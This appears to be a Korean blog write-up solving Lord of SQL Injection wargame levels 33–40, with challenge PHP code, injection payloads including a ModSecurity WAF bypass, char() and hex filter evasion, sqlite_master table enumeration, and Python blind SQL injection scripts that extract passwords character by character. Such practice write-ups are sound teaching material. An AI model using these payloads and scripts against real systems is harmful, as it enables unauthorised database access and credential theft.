[Lord of SQL injection] 33~40

33. cthulhu

<?php
  include "./welcome.php";
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|.|()|admin/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|.|()|admin/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("cthulhu");
  highlight_file(__FILE__);
?>

 

문제 코드이다. 쿼리는 아래.

select id from prob_cthulhu where id='' and pw=''

 

이 문제는 코드만 보면 어려울 게 없어보이지만 추가적인 부분이 있다.

modsec.rubiya.kr 서버가 ModSecurity Core Rule Set v3.1.0 with paranoia level 1 버전으로 돌아가고 있다고 한다.

대충 웹 방화벽이 돌아가고 있고, 이를 우회할 수 있겠냐고 한다.

음.. 그냥 시험 삼아 이전 문제에서 했던 것처럼 id에 넣고 admin은 hex값으로 우회했더니 풀렸다..

?id=&pw=or id=0x61646d696e%23을 입력했다. 아무튼 성공! ㅎㅎ

 

34. death

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|.|()|admin/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|.|()|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("death");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

 

이전 문제와 비슷한 듯 하지만 pw에 입력한 값이 md5 함수를 지나서 들어간다.

이전 문제와 동일하게 입력했는데 성공했다! 이번에도 ?id=&pw=or id=0x61646d696e%23 를 입력했다.

 

35. godzilla

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|.|()/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello admin</h2>";
   
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
  highlight_file(__FILE__);
?>

 

문제 코드이다. 아래는 쿼리

select id from prob_godzilla where id='' and pw=''

 

음.. 마찬가지로 이전에 풀었던 blind sql injection과 비슷해보인다.

방화벽에 의해 막힌 것 같다. 사실 위의 두문제도 이 오류가 떴어야 하는 거 같긴 한데.. 일단 이번 문제에서 어떻게 우회하는지 알아보도록 하자.

 

ModSecurity Core Rule Set v3.1.0 이라는 방화벽이 이전 두 문제에도 적용되고 있었다.

이를 우회할 수 있는 방법이 적혀있는 곳을 찾았다.

-1'<@=1 OR'&pw=a 을 적용하면 우회할 수 있다고 한다.

따라서 길이를 찾는 코드, pw를 한 글자씩 알아내는 코드 모두 위의 우회 기법을 추가하면 된다.

아래는 길이를 알아내는 코드이다.

import requests

url='https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(0,100):
    prm=f"?id=-1'<@=1 or id='admin' and length(pw)={i} OR '&pw=a"
    print(prm)
    res=requests.get(url+prm,cookies=cookies)

    if("Hello admin" in res.text):
        print('length of email: ',i)
        length=i
        break

 

코드 실행 결과는 다음과 같다.

이제 pw를 하나씩 구해보자. 코드는 다음과 같다.

import requests

url='https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(0,100):
    prm=f"?id=-1'<@=1 or id='admin' and length(pw)={i} OR '&pw=a"
    print(prm)
    res=requests.get(url+prm,cookies=cookies)

    if("Hello admin" in res.text):
        print('length of email: ',i)
        length=i
        break

flag=''

for i in range(1,length+1):
    for j in range(33,126):
        prm=f"?id=-1'<@=1 or id='admin' and ascii(substr(pw,{i},1))={j} %23"
        res=requests.get(url+prm,cookies=cookies)
        print(prm)

        if("Hello admin" in res.text):
            print(f'pw {i}번째: ',chr(j), 'and flag: ', flag+chr(j))
            flag+=chr(j)
            break

print('flag is',flag)

 

코드를 실행해서 pw를 알아냈다. 답은 ?pw=a18a6cc5이다.

성공!

 

36. cyclops

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|.|()/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_cyclops where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['id'] === "first") && ($result['pw'] === "second")) solve("cyclops");//must use union select
  highlight_file(__FILE__);
?>

 

id로는 first를, pw로는 second를 얻어와야 한다. 추가로 union을 사용하라고 한다.

이 문제 역시 waf가 걸려 있어서 이전 문제들과 동일한 우회 기법을 사용해야 한다.

따라서 ?id=’<@=1 union /**/ select ‘first’, ‘second’ %23를 입력해주면 된다. 중간에 /**/ 주석은 waf를 우회하기 위해 추가해주었다. waf를 우회하는 방법을 터득했다면 이전에 나왔던 문제와 비슷하게 손 쉽게 풀 수 있는 문제이다!

 

37. chupacabra

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/chupacabra.db");
  $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id'] == "admin") solve("chupacabra");
  highlight_file(__FILE__);
?>

 

문제 코드이다. 아래는 쿼리.

select id from member where id='' and pw=''

 

id로 admin을 받아오면 되는 간단한 문제이다. 그런데 이번 문제는 처음 보는 부분이 있다.

바로 sqllite_open을 통해 db와 연결하는 부분이다. 이전에는 단순히 dbconnect()로 mysql을 사용했지만, 이번 문제부터는 sqllite를 사용하는 것 같다.

문제 풀이 방식은 굉장히 간단하지만 한가지 변경사항이 있다.

원래는 주석처리를 #(%23)으로 해왔지만, sqllite로 바꼈기 때문에 —를 주석으로 사용한다.

따라서 답은 ?id=&pw=’ or id=’admin’ —이다.

성공!

 

38. manticore

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/manticore.db");
  $_GET['id'] = addslashes($_GET['id']);
  $_GET['pw'] = addslashes($_GET['pw']);
  $query = "select id from member where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id'] == "admin") solve("manticore");
  highlight_file(__FILE__);
?>

 

문제 코드이다. 쿼리는 아래.

select id from member where id='' and pw=''

 

문제 코드는 이전 문제와 비슷하지만 addslashes를 먼저 적용하고 있다. addslashes는 전에도 설명했듯이 쿼터나 등의 앞에 을 붙여준다.

따라서 위의 사진과 같이 이전 문제의 우회 방법은 불가능하다.

따라서 admin을 hex로 바꿔서 입력해보았다.

0x를 붙인 hex도 먹지 않는다.. 따라서 char()를 이용해봤다. char()내부에 숫자를 입력하면 대응하는 아스키 문자로 바꿔준다.

해결! 입력값으로는 ?id=’ or id=char(97,100,109,105,110) —을 줬고, ‘앞에 자동으로 이 붙어서 일반 문자로 바뀌게 된다. 그리고 97=a, 100=d, 109=m, 105=i, 110=n이기에 id=admin이 된다.

 

39. banshee

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/banshee.db");
  if(preg_match('/sqlite|member|_/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id']) echo "<h2>login success!</h2>";

  $query = "select pw from member where id='admin'"; 
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['pw'] === $_GET['pw']) solve("banshee"); 
  highlight_file(__FILE__);
?>

 

문제 코드. 아래는 쿼리.

select id from member where id='admin' and pw=''

 

sqllite, member, _를 필터링하고 있다. id는 admin으로 고정되어 있고, pw를 알아내며 될 것 같다.

먼저 길이를 알아내는 코드이다.

import requests

url='https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(0,100):
    prm=f"?pw=' or id='admin' and length(pw)={i} --"
    print(prm)
    res=requests.get(url+prm,cookies=cookies)

    if("login success" in res.text):
        print('length of pw: ',i)
        length=i
        break

 

코드 실행 결과는 다음과 같다.

pw를 한글자씩 알아내는 코드이다.

import requests

url='https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(0,100):
    prm=f"?pw=' or id='admin' and length(pw)={i} --"
    print(prm)
    res=requests.get(url+prm,cookies=cookies)

    if("login success" in res.text):
        print('length of pw: ',i)
        length=i
        break

flag=''

for i in range(1,length+1):
    for j in range(33,126):
        prm=f"?pw=' or id='admin' and unicode(substr(pw,{i},1))={j} --"
        res=requests.get(url+prm,cookies=cookies)
        print(prm)

        if("login success" in res.text):
            print(f'pw {i}번째: ',chr(j), 'and flag: ', flag+chr(j))
            flag+=chr(j)
            break

print('flag is',flag)

 

sqllite는 ascii()를 지원하지 않기에 unicode()를 이용했다. unicode()는 ascii보다 범위는 넓지만 ascii 범위 내에서는 동일하게 작동하기에 문제를 푸는 데 지장이 없다.

코드 실행 결과이다. pw는 0313091b이다. 따라서 ?pw=0313091b를 입력해주면,

성공~

 

40. poltergeist

<?php
  include "./config.php";
  login_chk();
  $db = sqlite_open("./db/poltergeist.db");
  $query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = sqlite_fetch_array(sqlite_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
  highlight_file(__FILE__);
?>

 

위는 문제 코드. 쿼리는 다음과 같다

select id from member where id='admin' and pw=''

 

이번엔 주석이 포함되어 있다. flag가 flag_{$hash} 테이블 안에 있다고 한다. db를 다 뒤져보라네?

답이 membet table에 없기에 예전에 mysql에서 information_schema를 썼던 것 처럼 sqllite에서 해당 기능을 제공하는 테이블을 찾아야 했다. 이는 sqlite_master이고, tbl_name, name, sql 등의 칼럼이 존재한다. 그 중 내가 이용할 것은 sql로, 테이블에서 sql을 출력해준다. 이해하기 어려울 수 있으니 예시를 보자.

이렇게 CREATE TABLE {table name} ({column name}, {type})을 반환한다.

이제 limit 조건을 걸어서 member table이 아닌 다른 table을 조사해보자.

limit 1,1 을 추가해서 상위에 있는 레코드를 가져왔더니 우리가 원하는 테이블과 칼럼을 가져왔다. 결과에 나온 것처럼 flag_70c81d99 테이블에서 flag_0876285c 칼럼을 찾아보자.

?pw=’ union select flag_0876285c from flag_70c81d99 — 를 입력해줬더니 우리가 원하는 flag를 가져와서 출력해준다!

마지막으로 ?pw=FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}를 출력해주면 성공!

 

 

 

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤